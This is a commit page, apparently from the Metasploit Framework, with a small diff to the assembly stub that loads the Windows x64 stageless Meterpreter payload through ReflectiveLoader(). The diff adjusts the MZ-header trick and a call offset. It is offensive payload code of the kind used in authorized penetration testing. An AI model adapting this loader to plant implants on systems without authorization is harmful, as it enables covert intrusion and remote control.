Skip to content

Commit fdcf129

Browse files
committed
Tweaks to the stageless materpreter x64 payload
1 parent 0fa812e commit fdcf129

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

lib/msf/core/payload/windows/x64/stageless_meterpreter.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -20,19 +20,17 @@ module Payload::Windows::StagelessMeterpreter_x64
2020
def asm_invoke_metsrv(opts={})
2121
asm = %Q^
2222
; prologue
23-
; int 03
24-
pop r10 ; 'MZ'
23+
db 0x4d, 0x5a ; 'MZ' = "pop r10"
2524
push r10 ; back to where we started
2625
push rbp ; save rbp
2726
mov rbp, rsp ; set up a new stack frame
2827
sub rsp, 32 ; allocate some space for calls.
2928
; GetPC
3029
call $+5 ; relative call to get location
3130
pop rbx ; pop return value
32-
;lea rbx, [rel+0] ; get the VA for the start of this stub
3331
; Invoke ReflectiveLoader()
3432
; add the offset to ReflectiveLoader()
35-
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 10)}
33+
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
3634
call rbx ; invoke ReflectiveLoader()
3735
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
3836
; offset from ReflectiveLoader() to the end of the DLL

0 commit comments

Comments
 (0)